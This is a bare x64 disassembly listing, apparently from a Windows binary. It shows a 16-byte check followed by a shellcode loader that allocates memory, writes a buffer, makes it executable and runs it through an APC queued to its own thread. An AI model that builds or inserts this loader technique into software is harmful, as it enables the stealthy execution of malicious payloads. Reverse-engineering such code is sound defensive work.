mov eax, dword [rsi + 4]
mov dword [rsp + 0xc4], eax
mov eax, dword [rsi + 8]
mov dword [rsp + 0xc8], eax
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0xcc], eax
mov rbx, qword [rsp + 0xa0]
mov sil, 1
xor eax, eax
cmp rax, 0x10
je 0x14000374f
lea rdi, [rax + 1]
mov dl, byte [rbx + rax]
xor dl, byte [rsp + rax + 0xc0]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.14000902e
and sil, al
mov rax, rdi
jmp 0x140003723
mov ecx, esi
call fcn.14000902e
test al, al
je 0x14000376d
mov rcx, r12
mov rdx, r14
mov r8, r15
call fcn.14000140b
mov dil, 1
jmp 0x14000376f
xor edi, edi
lea rsi, [rsp + 0x7a0]
push 0x40
pop rdx
mov rcx, rsi
call fcn.140009039
mov byte [rsi + 0x40], 0
mov eax, 0x90
mov rcx, qword [rsp + 0x88]
cmp rax, 0xa0
je 0x1400037ab
mov dword [rsp + rax*4 + 0x520], 0
inc rax
jmp 0x140003793
test dil, dil
je 0x140003996
cmp rcx, 0x10
cmovb r15, rcx
lea rcx, [rsp + 0x200]
push 0x20
pop rdx
call fcn.140009039
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
call fcn.14000448e
mov qword [rsp + 0x68], r14
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r15
mov rcx, r15
call fcn.1400044a2
mov rsi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r14
mov r8, r15
call fcn.140009b20
lea rdx, [rsp + 0xc0]
and qword [rdx], 0
lea r9, [rsp + 0x490]
mov qword [r9], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
push 0xffffffffffffffff
pop rcx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x14000398f
and qword [rsp + 0x800], 0
mov qword [rsp + 0x520], r15
mov rdx, qword [rsp + 0xc0]
lea rax, [rsp + 0x800]
mov qword [rsp + 0x20], rax
push 0xffffffffffffffff
pop rcx
mov r8, rsi
mov r9, r15
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x14000398f
lea rax, [rsp + 0x2e0]
mov dword [rax], 4
mov qword [rsp + 0x20], rax
push 0xffffffffffffffff
pop rcx
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x520]
push 0x40
pop r9
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x14000398f
mov rdx, qword [rsp + 0xc0]
and qword [rsp + 0x20], 0
push 0xfffffffffffffffe
pop rcx
mov r8, rdx
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtQueueApcThread]
test eax, eax
js 0x14000398f
call qword [sym.imp.ntdll.dll_NtTestAlert]
mov rcx, rsi
mov rdx, rbx
call fcn.14000448e
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
call fcn.14000448e
movaps xmm6, xmmword [rbp + 0xa50]
movaps xmm7, xmmword [rbp + 0xa60]
movaps xmm8, xmmword [rbp + 0xa70]
movaps xmm9, xmmword [rbp + 0xa80]
movaps xmm10, xmmword [rbp + 0xa90]
movaps xmm11, xmmword [rbp + 0xaa0]
movaps xmm12, xmmword [rbp + 0xab0]
movaps xmm13, xmmword [rbp + 0xac0]
lea rsp, [rbp + 0xad8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov al, byte [rdx + r8 + 3]
mov byte [rsp + 0x90], al
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0
jmp 0x140002630
cmp qword [rsp + 0x88], 0
je 0x14000398b
push 1
pop rdx
mov rcx, qword [rsp + 0x60]
call fcn.140004130
ud2
call fcn.140008f84
ud2
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.14000448e
jmp 0x14000398b